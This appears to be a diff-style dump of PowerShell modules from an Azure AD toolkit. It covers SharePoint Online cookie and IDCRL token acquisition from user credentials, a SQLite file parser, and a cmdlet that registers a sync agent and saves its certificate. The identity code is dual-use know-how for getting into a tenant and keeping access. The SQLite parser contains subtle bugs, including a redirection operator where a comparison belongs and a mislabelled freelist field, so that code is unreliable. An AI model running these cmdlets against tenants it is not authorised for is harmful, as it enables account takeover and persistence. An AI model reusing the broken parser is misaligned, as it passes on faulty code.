# Validate response
if($newresponse.StatusCode -eq 201 -and $newresponse.StatusDescription -eq "Created")
{
Write-Host "User $($UserPrincipalName) was added to group $($siteName)!"
}
else
{
Write-Error "Cannot Add user to the group."
}
}
else
{
Write-Error "An error occurred while executing the request to the site."
}
}
}
+499
View File
@@ -0,0 +1,499 @@
# Utility functions for SharePoint Online
# Gets the authentication cookie for SPO web interface
# Supports MFA, federation, etc.
# Jul 17th 2019
function Get-SPOAuthenticationHeader
{
<#
.SYNOPSIS
Gets authentication header for SharePoint Online
.DESCRIPTION
Gets authentication header for SharePoint Online, which is used for example to retrieve site users.
.Parameter Site
Url for the SharePoint Online
.Example
Get-AADIntSPOAuthenticationHeader
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site
)
Process
{
# Check the site url
if($Site.EndsWith("/"))
{
$Site=$Site.Substring(0,$Site.Length-1)
}
$siteDomain=$Site.Split("/")[2]
$headers=@{
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
"Upgrade-Insecure-Requests" = "1"
"Accept-Encoding" = "gzip, deflate, br"
"Accept-Language" = "en-US,en;q=0.9"
"Accept" = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
}
# Step 1: Go to the requested site
$response = Invoke-WebRequest -UseBasicParsing -uri $Site -MaximumRedirection 0 -ErrorAction SilentlyContinue
# Step 2: Go to "/_layouts/15/Authenticate.aspx?Source=%2F"
$url = $response.Headers.'Location'
$response = Invoke-WebRequest -UseBasicParsing -uri $url -MaximumRedirection 0 -ErrorAction SilentlyContinue
$siteWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain $siteDomain
# Step 3: Go to "/_forms/default.aspx?ReturnUrl=%2f_layouts%2f15%2fAuthenticate.aspx%3fSource%3d%252F&Source=cookie"
$html=$response.Content
$s=$html.IndexOf('href="')+6
$e=$html.IndexOf('"',$s)
$url=$html.Substring($s,$e-$s)
$url="https://$siteDomain/$url"
$response = Invoke-WebRequest -UseBasicParsing -uri $url -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $siteWebSession
# Create the cookie header for the login form
$cookieHeaderValue=""
$cookies = $response.Headers.'Set-Cookie'.Split(";,")
foreach($cookie in $cookies)
{
$name = $cookie.Split("=")[0].trim()
$value = $cookie.Substring($name.Length+1)
if($name.StartsWith("nSGt") -or $name -eq "RpsContextCookie")
{
# If not empty, append the separator
if(![String]::IsNullOrEmpty($cookieHeaderValue))
{
$cookieHeaderValue+="; "
}
$cookieHeaderValue+="$name=$value"
}
}
# Set variables
$auth_redirect="foobar"#"https://login.microsoftonline.com/common/federation/oauth2"#"https://login.microsoftonline.com/kmsi"
$url=$response.Headers.Location
# Create the form
$form = Create-LoginForm -Url $url -auth_redirect $auth_redirect -Headers "Cookie: $cookieHeaderValue"
# Show the form and wait for the return value
if($form.ShowDialog() -ne "OK") {
# Dispose the control
$form.Controls[0].Dispose()
Write-Verbose "Login cancelled"
return $null
}
# Extract the needed parameters
$htmlform=$form.Controls[0].Document.Forms[0].InnerHtml
$htmlform=$htmlform.Replace('">','"/>')
[xml]$xmlform="<html>$htmlform</html>"
$code = $xmlform.SelectSingleNode("//input[@name='code']").value
$session_state = $xmlform.SelectSingleNode("//input[@name='session_state']").value
$id_token = $xmlform.SelectSingleNode("//input[@name='id_token']").value
$correlation_id = $xmlform.SelectSingleNode("//input[@name='correlation_id']").value
$url=$form.Controls[0].Document.Forms[0].DomElement.action
# Dispose the control
$form.Controls[0].Dispose()
# Create the body and get the cookie
$body=@{
"code" = $code
"session_state" = $session_state
"id_token" = $id_token
"correlation_id" = $correlation_id
}
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Body $body -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $siteWebSession
# Extract the cookies
$cookieHeader = $response.Headers.'Set-Cookie'
$cookieHeaderValue=""
# Clean up the Set-Cookie header
$cookies = $cookieHeader.Split(";,")
foreach($cookie in $cookies)
{
$name = $cookie.Split("=")[0].trim()
$value = $cookie.Substring($name.Length+1)
if($name -eq "rtFA" -or $name -eq "FedAuth" -or $name -eq "RpsContextCookie")
{
# If not empty, append the separator
if(![String]::IsNullOrEmpty($cookieHeaderValue))
{
$cookieHeaderValue+="|"
}
$cookieHeaderValue+="$name=$value"
}
}
# Return
return $cookieHeaderValue
}
}
# Creates a list from xml collection
function Create-ListFromCollection
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
$Collection
)
Process
{
if($Collection -ne $null)
{
$list=@()
foreach($element in $Collection.element)
{
$list+=$element
}
return $list
}
else
{
return $null
}
}
}
function Get-IDCRLToken
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials
)
Process
{
# Get the authentication realm info
$realmInfo = Get-UserRealmV2 -UserName $Credentials.UserName
# Create the date strings
$now=Get-Date
$created = $now.ToUniversalTime().ToString("o")
$expires = $now.AddDays(1).ToUniversalTime().ToString("o")
# Check the realm type. If federated, we must first get the SAML token
if($realmInfo.NameSpaceType -eq "Federated")
{
$url = $realmInfo.STSAuthURL
# Create the body
$body=@"
<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:wssc="http://schemas.xmlsoap.org/ws/2005/02/sc" xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
<s:Header>
<wsa:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To s:mustUnderstand="1">$url</wsa:To>
<wsa:MessageID>$((New-Guid).ToString())</wsa:MessageID>
<ps:AuthInfo xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" Id="PPAuthInfo">
<ps:HostingApp>Managed IDCRL</ps:HostingApp>
<ps:BinaryVersion>6</ps:BinaryVersion>
<ps:UIVersion>1</ps:UIVersion>
<ps:Cookies></ps:Cookies>
<ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams>
</ps:AuthInfo>
<wsse:Security>
<wsse:UsernameToken wsu:Id="user">
<wsse:Username>$($Credentials.UserName)</wsse:Username>
<wsse:Password>$($Credentials.GetNetworkCredential().Password)</wsse:Password>
</wsse:UsernameToken>
<wsu:Timestamp Id="Timestamp">
<wsu:Created>$created</wsu:Created>
<wsu:Expires>$expires</wsu:Expires>
</wsu:Timestamp>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken Id="RST0">
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
# Invoke the command to get the SAML token
$response=Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers @{"User-Agent"=""}
$samlToken = $response.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.InnerXml
# Oops, got an error?
if([string]::IsNullOrEmpty($samlToken))
{
if($error -eq $response.Envelope.Body.Fault.Detail.error.internalerror.text)
{
Throw $error
}
}
# Create the security block
$security="$samlToken"
}
else
{
# Create the security block
$security=@"
<wsse:UsernameToken wsu:Id="user">
<wsse:Username>$($Credentials.UserName)</wsse:Username>
<wsse:Password>$($Credentials.GetNetworkCredential().Password)</wsse:Password>
</wsse:UsernameToken>
<wsu:Timestamp Id="Timestamp">
<wsu:Created>$created</wsu:Created>
<wsu:Expires>$expires</wsu:Expires>
</wsu:Timestamp>
"@
}
$url = "https://login.microsoftonline.com/rst2.srf"
# Create the body
$body=@"
<?xml version="1.0" encoding="UTF-8"?>
<S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
<S:Header>
<wsa:Action S:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To S:mustUnderstand="1">https://login.microsoftonline.com/rst2.srf</wsa:To>
<ps:AuthInfo xmlns:ps="http://schemas.microsoft.com/LiveID/SoapServices/v1" Id="PPAuthInfo">
<ps:BinaryVersion>5</ps:BinaryVersion>
<ps:HostingApp>Managed IDCRL</ps:HostingApp>
</ps:AuthInfo>
<wsse:Security>$security</wsse:Security>
</S:Header>
<S:Body>
<wst:RequestSecurityToken xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust" Id="RST0">
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>sharepoint.com</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wsp:PolicyReference URI="MBI"></wsp:PolicyReference>
</wst:RequestSecurityToken>
</S:Body>
</S:Envelope>
"@
# Invoke the command
$response=Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers @{"User-Agent"=""}
# Extract the token
$token = $response.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.BinarySecurityToken.'#text'
# Ooops, got an error?
if([string]::IsNullOrEmpty($token))
{
if($error -eq $response.Envelope.Body.Fault.Detail.error.internalerror.text)
{
Throw $error
}
}
# Return
return $token.Replace("&amp;","&")
}
}
function Get-IDCRLCookie
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Token,
[Parameter(Mandatory=$True)]
[string]$Tenant
)
Process
{
# Set the headers
$headers=@{
"Authorization" = "BPOSIDCRL $token"
"X-IDCRL_ACCEPTED" = "t"
"User-Agent" = ""
}
# Invoke the API
$response=Invoke-WebRequest -UseBasicParsing -Method Get "https://$Tenant-admin.sharepoint.com/_vti_bin/idcrl.svc/" -Headers $headers
# Extract the IDCRL cookie
$cookie=$response.Headers.'Set-Cookie'
$cookie = $cookie.split(";")[0]
# Return the cookie header
return $cookie
}
}
function Get-SPODigest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site
)
Process
{
# Set the headers
$headers=@{
"Content-Type" = "text/xml"
"X-RequestForceAuthentication" = "true"
"X-FORMS_BASED_AUTH_ACCEPTED"= "f"
"SOAPAction" = "http://schemas.microsoft.com/sharepoint/soap/GetUpdatedFormDigestInformation"
"User-Agent" = ""
"X-ClientService-ClientTag" = "TAPS (16.0.20122.0)"
}
$Body=@"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUpdatedFormDigestInformation xmlns="http://schemas.microsoft.com/sharepoint/soap/" />
</soap:Body>
</soap:Envelope>
"@
# Parse the tenant part
$tenant = $site.Split("/")[2].Split(".")[0]
if(![string]::IsNullOrEmpty($Cookie))
{
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = $Cookie.Split("=")[0]
$webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1)
$webCookie.Domain = "$tenant-admin.sharepoint.com"
$session.Cookies.Add($webCookie)
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
# Update the headers
$headers["Authorization"]="Bearer $AccessToken"
}
# Invoke the API
$response=Invoke-WebRequest -UseBasicParsing -Method Post "https://$tenant.sharepoint.com/_vti_bin/sites.asmx" -Headers $headers -Body $Body -WebSession $session
# Extract the Digest
[xml]$xmlContent=$response.Content
$digest=$xmlContent.Envelope.Body.GetUpdatedFormDigestInformationResponse.GetUpdatedFormDigestInformationResult.DigestValue
# Return the digest
return $digest
}
}
function Get-SPOTenantSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site
)
Process
{
# Get the digest
$digest = Get-SPODigest -AccessToken $AccessToken -Cookie $Cookie -Site $Site
# Set the headers
$headers=@{
"Content-Type" = "text/xml"
"X-RequestForceAuthentication" = "true"
"X-FORMS_BASED_AUTH_ACCEPTED"= "f"
"User-Agent" = ""
"X-RequestDigest" = $digest
}
$Body=@"
<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="SharePoint Online PowerShell (16.0.20122.0)" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009">
<Actions>
<ObjectPath Id="34" ObjectPathId="33" />
<ObjectPath Id="36" ObjectPathId="35" />
<Query Id="37" ObjectPathId="35">
<Query SelectAllProperties="true">
<Properties />
</Query>
</Query>
</Actions>
<ObjectPaths>
<Constructor Id="33" TypeId="{268004ae-ef6b-4e9b-8425-127220d84719}" />
<Method Id="35" ParentId="33" Name="GetSitePropertiesByUrl">
<Parameters>
<Parameter Type="String">$Site</Parameter>
<Parameter Type="Boolean">true</Parameter>
</Parameters>
</Method>
</ObjectPaths>
</Request>
"@
# Parse the tenant part
$tenant = $site.Split("/")[2].Split(".")[0]
if(![string]::IsNullOrEmpty($Cookie))
{
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = $Cookie.Split("=")[0]
$webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1)
$webCookie.Domain = "$tenant-admin.sharepoint.com"
$session.Cookies.Add($webCookie)
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
# Update the headers
$headers["Authorization"]="Bearer $AccessToken"
}
# Invoke the API
$response=Invoke-WebRequest -UseBasicParsing -Method Post "https://$tenant.sharepoint.com/_vti_bin/client.svc/ProcessQuery" -Headers $headers -Body $Body -WebSession $session
$content = ($response.content | ConvertFrom-Json)
# Return
return $content[$content.Count-1]
}
}
+464
View File
@@ -0,0 +1,464 @@
# Parses SQLite varint V3
# Sep 27th 2022
function Parse-SQLiteVarIntV3
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position
)
Process
{
return Decode-MultiByteInteger -Data $Data -Position $Position -Reverse
}
}
# Parses SQLite database B-Tree cell payload
# Sep 27th 2022
function Parse-SQLiteBTreeCellPayload
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$false)]
[int]$MaxColumns=20
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
# Parse the header
$headerSize = $Data[0]
# Parse the columns
$pCol = $headerSize
$nCol = 0
$columns = @()
for($p = 1 ; ($p -lt $headerSize);)
{
$serialType = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
switch($serialType)
{
# null
0 {
$value = $null
break
}
# Integer
1 {
$value = [int] $Data[$pCol]; $pCol++
break
}
# Integer
{$_ -gt 2 -and $_ -lt 8} {
switch($_)
{
{$_ -lt 5} {$nBytes = $_; break}
{$_ -eq 5} {$nBytes = 6; break}
default {$nBytes = 8; break}
}
$bytes = New-Object Byte[] 8
[Array]::Copy($Data,$pCol,$bytes,8-$nBytes,$nBytes)
[Array]::Reverse($bytes)
$value = [bitconverter]::ToInt64($bytes,0); $pCol += $nBytes
break
}
# Integer 0
8 {
$value = [int64] 0
break
}
# Integer 1
9 {
$value = [int64] 1
break
}
# Blob
{$_ -ge 12 -and $_ % 2 -eq 0}
{
$bLen = ($_ - 12) / 2
$value = $Data[$pCol..$($pCol + $bLen -1)]; $pCol += $bLen
break
}
# String - we'll assume UTF-8 encoding
{$_ -ge 13 -and $_ % 2 -ne 0}
{
$bLen = ($_ - 13) / 2
$value = [System.Text.Encoding]::UTF8.GetString($Data[$pCol..$($pCol + $bLen -1)]); $pCol += $bLen
break
}
}
$columns+= $value
}
return $columns
}
}
# Parses SQLite database B-Tree cell
# Sep 27th 2022
function Parse-SQLiteBTreeCell
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[int]$Position,
[Parameter(Mandatory=$true)]
[int]$PageType,
[Parameter(Mandatory=$true)]
[int]$PageSize
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position
# Overflow calcuation variables
$u = $PageSize # We assume no reserverd space
$m = (($u-12)*32/255)-23 # Always the same
switch($PageType)
{
0x0d #B-Tree Leaf Cell
{
$leftChild = $null
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = $u-35
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
0x05 #B-Tree Interior Cell
{
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$payLoadBytes = $null
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$payLoad = $null
$firstOverflowPage = $null
break
}
0x0a #B-Tree Leaf Cell
{
$leftChild = $null
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = $null
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = (($u-12)*64/255)-23
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
0x02 #B-Tree Interior Cell
{
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = $null
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = (($u-12)*64/255)-23
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
}
if($payLoad)
{
$columns = Parse-SQLiteBTreeCellPayload -Data $payLoad
}
$attributes = [ordered]@{
"LeftChildPageNumber" = $leftChild
"PayloadBytes" = $payLoadBytes
"Payload" = $columns
"FirstOverFlowPageNumber" = $firstOverflowPage
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file
# Sep 27th 2022
function Parse-SQLiteDatabase
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse SQLite db file header
$p = 0;
$header = Parse-SQLiteHeader -Data $Data -Position ([ref]$p)
# Parse pages
$pages = New-Object psobject[] $header.Pages
$nPages = 0
while($p -lt $Data.Count)
{
$pages[$nPages] = Parse-SQLiteBTreePage -Data $Data -Position ([ref]$p) -PageSize $header.PageSize
$nPages++
# Next page starts from header size + n*PageSize
$p = $nPages * $header.PageSize
}
$attributes = [ordered]@{
"Header" = $header
"Pages" = $pages
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file B-Tree page
# Sep 27th 2022
function Parse-SQLiteBTreePage
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position,
[Parameter(Mandatory=$true)]
[int]$PageSize
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position.Value
# Calculate the page start
if($p -lt $PageSize)
{
$pageStart = 0
}
else
{
$pageStart = $p
}
$pageType = [int]$Data[$p]; $p += 1
# A value of 2 (0x02) means the page is an interior index b-tree page.
# A value of 5 (0x05) means the page is an interior table b-tree page.
# A value of 10 (0x0a) means the page is a leaf index b-tree page.
# A value of 13 (0x0d) means the page is a leaf table b-tree page.
$freeBlockStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellsOnPage = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellContentStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
if($cellContentStart -eq 0) # A zero value for this integer is interpreted as 65536.
{
$cellContentStart = 65536
}
$fragmentedFreeBytes = [int]$Data[$p]; $p += 1
if($pageType -eq 0x02)
{
$pageNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
$cells = New-Object psobject[] $cellsOnPage
for($c = 0 ; $c -lt $cellsOnPage; $c++)
{
$cellOffset = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellStart = $pageStart + $cellOffset
$cells[$c] = Parse-SQLiteBTreeCell -Data $Data -Position $cellStart -PageType $pageType -PageSize $PageSize
}
$Position.Value = $p
switch($pageType)
{
0x0d {$strPageType = "Table Leaf" ; break}
0x05 {$strPageType = "Table Interior"; break}
0x0a {$strPageType = "Index Leaf" ; break}
0x02 {$strPageType = "Index Interior"; break}
}
$attributes = [ordered]@{
"PageType" = $strPageType
"PageNumber" = $pageNumber
"CellsOnPage" = $cellsOnPage
"ContentStart" = $cellContentStart
"Cells" = $cells
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file header
# Sep 27th 2022
function Parse-SQLiteHeader
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position
)
Begin
{
$encodings = @(
"UTF-8"
"UTF-16le"
"UTF-16be"
)
}
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position.Value
$headerString = [text.encoding]::UTF8.GetString($Data[$p..($p+16-1)]); $p += 16
$dbPageSize = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
if($dbPageSize -eq 1) # The database page size in bytes. Must be a power of two between 512 and 32768 inclusive, or the value 1 representing a page size of 65536.
{
$dbPageSize = 65536
}
$fileWriteVersion = [int]$Data[$p]; $p += 1
$fileReadVersion = [int]$Data[$p]; $p += 1
$reservedSpaceBytes = [int]$Data[$p]; $p += 1
$maxEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
$minEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
$leafPayloadFraction = [int]$Data[$p]; $p += 1
$fileChangeCounter = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$dbSizePages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$firstFreelistTrunkPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$freelistPages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$schemaCookie = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$schemaFormatNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
# A value of 1 means UTF-8. A value of 2 means UTF-16le. A value of 3 means UTF-16be.
$defaultPageCacheSize = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$largestRootBTreePage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$dbTextEncoding = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$userVersion = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$incrementalVacuumMode = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0) -ne 0; $p += 4
$applicationId = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$reserved = $Data[$p..($p+20-1)]; $p += 20
$versionValidForNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$versionNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
# Check variables
if($maxEmbeddedPayloadFraction -ne 64)
{
Write-Warning "Maximum embedded payload fraction is $maxEmbeddedPayloadFraction, it MUST be 64"
}
if($minEmbeddedPayloadFraction -ne 32)
{
Write-Warning "Minimum embedded payload fraction is $minEmbeddedPayloadFraction, it MUST be 32"
}
if($schemaFormatNumber -ne 4)
{
Write-Warning "Schema version $schemaFormatNumber not supported, expected version 4"
}
$Position.Value = $p
$attributes = [ordered]@{
"PageSize" = $dbPageSize
"Pages" = $dbSizePages
"Encoding" = $encodings[$dbTextEncoding-1]
"ChangeCounter" = $fileChangeCounter
"FirstFreelistPage" = $freelistPages
"FreelistPages" = $freelistPages
"SchemaFormat" = $schemaFormatNumber
"SchemaCookie" = $schemaCookie
"SQLiteVersion" = $versionNumber
"ReservedSpaceBytes" = $reservedSpaceBytes
}
return New-Object -TypeName PSObject -Property $attributes
}
}
+215
View File
@@ -0,0 +1,215 @@
Add-Type -AssemblyName System.Web
# Registers Syncgent to the Azure AD
# Apr 2nd 2019
# Sep 7th 2022: Added UpdateTrust
function Register-SyncAgent
{
<#
.SYNOPSIS
Registers the Sync agent to Azure AD and creates a client certificate or renews existing certificate.
.DESCRIPTION
Registers the Sync agent to Azure AD with given machine name and creates a client certificate or renews existing certificate.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
.Example
Get-AADIntAccessTokenForPTA -SaveToCache
Register-AADIntPTAAgent -MachineName "server1.company.com"
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntPTAAgent -AccessToken $pt -MachineName "server1.company.com"
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
.Example
PS C:\>Register-AADIntPTAAgent -MachineName "server1.company.com" -UpdateTrust -PfxFileName .\server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) certificate renewed for server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_449D42C1BA32B23A621EBE62329AE460FE68924B.pfx
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$FileName,
[Parameter(ParameterSetName='normal',Mandatory=$False)]
[Parameter(ParameterSetName='update',Mandatory=$True)]
[switch]$UpdateTrust,
[Parameter(ParameterSetName='update',Mandatory=$True)]
[String]$PfxFileName,
[Parameter(ParameterSetName='update',Mandatory=$False)]
[String]$PfxPassword
)
Process
{
return Register-ProxyAgent -AccessToken $AccessToken -MachineName $MachineName -FileName $FileName -AgentType Sync -UpdateTrust $UpdateTrust -PfxFileName $PfxFileName -PfxPassword $PfxPassword
}
}
# Invokes the Sync Agent
